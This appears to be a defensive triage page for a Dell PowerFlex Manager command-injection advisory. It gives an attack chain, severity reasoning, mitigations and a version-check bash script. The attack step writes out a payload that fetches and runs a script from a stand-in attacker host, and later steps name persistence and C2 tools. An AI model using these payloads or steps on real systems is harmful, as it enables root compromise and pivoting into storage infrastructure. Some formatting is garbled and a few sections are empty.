The building's master key ring is stored inside a room that only the building manager can enter — and now the ring itself has a lockpick baked in
Dell PowerFlex Manager (PFMP) is the orchestration and lifecycle-management control plane for PowerFlex software-defined storage. The bug is a classic CWE-78 OS command injection in the OS Repository processing codepath: an authenticated administrator can smuggle shell metacharacters into a parameter that is concatenated into a shell invocation, resulting in arbitrary command execution as root on the appliance. Affected: PowerFlex software prior to 5.1.0.1 (5.x train) and prior to 4.5.5.2 (4.5.x train). Because the CVSS carries S:C (scope changed), Dell is explicitly acknowledging the appliance can pivot into the managed infrastructure — SDS/SDC nodes, ESXi hosts under PowerFlex Rack, and the storage data path itself.
Vendor calls this CRITICAL 9.1. Under noisgate's friction audit the PR:H requirement is genuine downward pressure — you need an existing PowerFlex Manager admin session, not an anonymous internet touch. But the role-multiplier hard rule dominates here: the vulnerable component IS a canonical high-value control plane (storage fleet orchestrator, blast-radius peer of vCenter and Veeam). One phished or reused admin credential yields root on PFMP and a documented pivot into every managed node. Verdict stays CRITICAL — we shave the score to 8.8 to reflect PR:H, not to bucket-downgrade.
5 steps from start to impact.
Obtain PowerFlex Manager admin credentials
- Valid high-privileged PFMP account
- Network reachability to the PFMP UI/API (usually a management VLAN)
- PFMP is normally on a management network, not internet-exposed
- Enterprise IdP + MFA on admin logins blocks credential replay
- Just-in-time PAM checkout (CyberArk/BeyondTrust) reduces standing admin creds
Reach the OS Repository endpoint
- Session token or API key from step 1
- TCP reach to PFMP HTTPS port (typically 443/8443)
- Management-plane microsegmentation limits which hosts can reach PFMP
- API rate-limiting and audit logs generate noise
os-repository verbs from non-standard source IPs.Inject shell metacharacters into the vulnerable parameter
id , $(curl attacker/x.sh|sh), or a backticked payload — that the backend concatenates into a sh -c` or similar invocation. Because PFMP runs its worker as root, the payload executes with full appliance privilege. No public PoC as of disclosure day, but the class is trivially weaponized once the exact parameter name leaks.- Knowledge of which OS Repository parameter is unsanitized
- PFMP version < 5.1.0.1 or < 4.5.5.2
- Zero public exploit code on 2026-07-10
- Appliance may log stderr containing payload artifacts
sh -c invocations containing repository parameter values.Establish persistence on the PFMP appliance
/root/.ssh/authorized_keys, adds a cron job, or plants a systemd unit. PFMP is a Linux-based appliance (SUSE/RHEL-lineage), so standard *nix persistence applies. Tools: linpeas.sh, Sliver or Merlin implant for beacon C2 out of the management VLAN.- Egress from PFMP to attacker C2 or a staging box
- Ability to write to disk
- Egress filtering on the management VLAN blocks C2
- Appliance file-integrity monitoring (if enabled)
Pivot into managed PowerFlex nodes and hypervisors (S:C realized)
- Credential store readable from root context on PFMP
- Layer-3 reachability from PFMP to nodes (by design)
- Some environments use vault-checkout patterns rather than PFMP-cached creds
- iDRAC network segmentation
The supporting signals.
| In-the-wild exploitation | None observed as of 2026-07-10. Not on CISA KEV. No GreyNoise tag. |
|---|---|
| Public PoC | No public exploit code at disclosure. Class (CWE-78 in an admin-only endpoint) is trivial to weaponize once endpoint details leak — expect PoC within weeks. |
| EPSS | Not yet scored (CVE published today). Historical Dell PFMP CVEs score in the 0.10–0.40% range in the first 30 days. |
| KEV status | Not listed. No CISA due date. |
| CVSS v3.1 | AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H → 9.1 CRITICAL. Note PR:H — admin credential required. S:C — pivot to managed infrastructure explicitly acknowledged. |
| Affected versions | PowerFlex software < 5.1.0.1 (5.x train) and < 4.5.5.2 (4.5.x train). |
| Fixed versions | 5.1.0.1 and 4.5.5.2, available via Dell RCM release portal (cicodeportal.dell.com). |
| Exposure telemetry | PowerFlex Manager is a management-plane appliance — Shodan/Censys typically show <100 PFMP UIs internet-reachable globally. Real risk is internal, not perimeter. |
| Disclosure | 2026-07-10 via Dell advisory DSA-2026-066. |
| Reporter | Not publicly credited in the DSA-2026-066 summary (internal discovery or coordinated researcher; not attributed). |
noisgate verdict.
The single decisive factor is role multiplier: PowerFlex Manager is the canonical control plane for the entire PowerFlex storage fleet, so a successful chain ends in root on PFMP plus documented pivot (S:C) into every managed SDS/SDC node and hypervisor — a fleet-scale blast radius that floors the verdict at CRITICAL. PR:H friction shaves the numeric score from 9.1 to 8.8 but is not sufficient to break the role-multiplier floor absent installed-base evidence.
Why this verdict
- Role multiplier — control-plane blast radius: PFMP is the storage-fleet orchestrator. Chain succeeds → root on PFMP → credential harvest → SSH/iDRAC/vSphere pivot to every managed node. Peer role to vCenter and Veeam. Floor is CRITICAL.
- Scope changed is not decorative: Dell explicitly set S:C. That is the vendor telling you the appliance compromise crosses trust boundaries into managed infrastructure — the fleet-compromise outcome is baseline, not worst-case.
- PR:H is genuine friction, but insufficient to break the floor: Admin credential requirement narrows the *unauthenticated-internet* attack surface. It does not narrow the *insider / phished-admin / password-reuse* surface, which is the realistic threat model for management-plane appliances. Score shaved to 8.8; bucket unchanged.
- Not KEV, no PoC — mild downward pressure on urgency, not on severity: Absent active exploitation, this is not an hours-window emergency. Under the noisgate SLA it is still a 3-day mitigation / 90-day remediation problem because of blast radius, not because of exploitation velocity.
Why not higher?
We did not push above 9.1 because there is no evidence of active exploitation, no public PoC, and PR:H rules out spray-and-pray unauthenticated attacks. Absent KEV listing or a chained pre-auth vector, staying at CRITICAL 8.8 (below vendor 9.1) reflects that this is a targeted post-credential-theft chain rather than a wormable pre-auth RCE.
Why not lower?
Downgrading to HIGH would require installed-base evidence that PFMP is NOT canonically deployed as a fleet control plane — that evidence does not exist because managing the fleet is literally PFMP's product function. The role-multiplier hard rule floors this at CRITICAL. PR:H friction alone is not sufficient to break that floor.
What to do — in priority order.
- Enforce MFA and PAM checkout on every PFMP admin account — The entire attack chain rests on step 1: obtaining a PFMP admin credential. Bind PFMP to your enterprise IdP, require phishing-resistant MFA (FIDO2/WebAuthn), and route standing admin logins through CyberArk/BeyondTrust/Delinea just-in-time checkout. Deploy within 3 days per the noisgate CRITICAL mitigation SLA.
- Isolate the PFMP management VLAN — deny all north-south, allow only allow-listed admin jump hosts — PFMP should not be reachable from user endpoints, DMZ hosts, or the internet. Enforce a management-plane ACL that permits only PAM/jump hosts on the specific admin subnet. Deploy within 3 days.
- Egress-filter the PFMP appliance to a deny-by-default policy — Step 4 (persistence + C2) requires outbound connectivity from PFMP. Restrict outbound to Dell update endpoints only; block generic HTTPS/DNS egress. Deploy within 3 days.
- Enable and forward PFMP audit logs to your SIEM with an alert on OS Repository actions — Even if you cannot patch immediately, log every OS Repository add/edit/validate call, alert on any invocation containing shell metacharacters (`
`,$(,;,|,&&`) in parameters. Deploy within 3 days. - Patch to 5.1.0.1 or 4.5.5.2 via the RCM release portal — This is the actual remediation. Schedule the maintenance window within the noisgate CRITICAL remediation SLA of ≤ 90 days — sooner if a public PoC drops. Coordinate with storage ops because PFMP upgrades can require a rolling node dance.
- A WAF in front of PFMP — the injection sits behind authentication in an admin-only workflow; generic OWASP rules will either not trigger or will break legitimate admin actions.
- Network IDS signatures on 'command injection patterns' — the payload is TLS-encapsulated to an admin API; without TLS interception at the management-VLAN egress point (rare), Snort/Suricata sees nothing.
- EDR on your Windows fleet — PFMP is a Linux appliance you almost certainly do not have EDR on. Endpoint telemetry on user desktops does not observe the PFMP shell execution.
- Blocking internet exposure alone — PFMP is rarely internet-exposed to begin with. The realistic threat is a *phished admin on your internal network*, so 'it's not on the perimeter' is not a compensating control.
Crowdsourced verification payload.
Run this on the PFMP appliance itself over an SSH admin session (requires root or sudo). Invoke as sudo ./check-cve-2026-56688.sh. It reads the PFMP version file and emits VULNERABLE, PATCHED, or UNKNOWN. For fleet checks, wrap it in your Ansible/Salt inventory over the management VLAN.
#!/usr/bin/env bash
# check-cve-2026-56688.sh
# Detects Dell PowerFlex Manager exposure to CVE-2026-56688 (OS command injection).
# Run on the PFMP appliance as root.
# Exit codes: 0=PATCHED, 1=VULNERABLE, 2=UNKNOWN
set -u
VERSION_FILE_CANDIDATES=(
"/opt/dell/pfmp/VERSION"
"/etc/dell-pfmp-release"
"/opt/emc/scaleio/mdm/VERSION"
)
ver=""
for f in "${VERSION_FILE_CANDIDATES[@]}"; do
if [[ -r "$f" ]]; then
ver=$(grep -Eo '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' "$f" | head -n1)
[[ -n "$ver" ]] && break
fi
done
if [[ -z "$ver" ]] && command -v rpm >/dev/null 2>&1; then
ver=$(rpm -q --qf '%{VERSION}\n' dell-pfmp 2>/dev/null | head -n1)
fi
if [[ -z "$ver" ]]; then
echo "UNKNOWN: could not determine PowerFlex Manager version"
exit 2
fi
# Semver compare helper: returns 0 if $1 < $2
ver_lt() {
[[ "$1" == "$2" ]] && return 1
local IFS=.
local -a A=($1) B=($2)
for i in 0 1 2 3; do
a=${A[i]:-0}; b=${B[i]:-0}
(( a < b )) && return 0
(( a > b )) && return 1
done
return 1
}
echo "Detected PFMP version: $ver"
# Fixed lines: 5.1.0.1 (5.x train), 4.5.5.2 (4.5.x train)
major=$(echo "$ver" | cut -d. -f1)
minor=$(echo "$ver" | cut -d. -f2)
if [[ "$major" == "5" ]]; then
fix="5.1.0.1"
elif [[ "$major" == "4" && "$minor" == "5" ]]; then
fix="4.5.5.2"
else
echo "UNKNOWN: version $ver outside documented affected trains (4.5.x / 5.x)"
exit 2
fi
if ver_lt "$ver" "$fix"; then
echo "VULNERABLE: $ver < $fix (CVE-2026-56688)"
exit 1
else
echo "PATCHED: $ver >= $fix"
exit 0
fi
If you remember one thing.
Sources
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.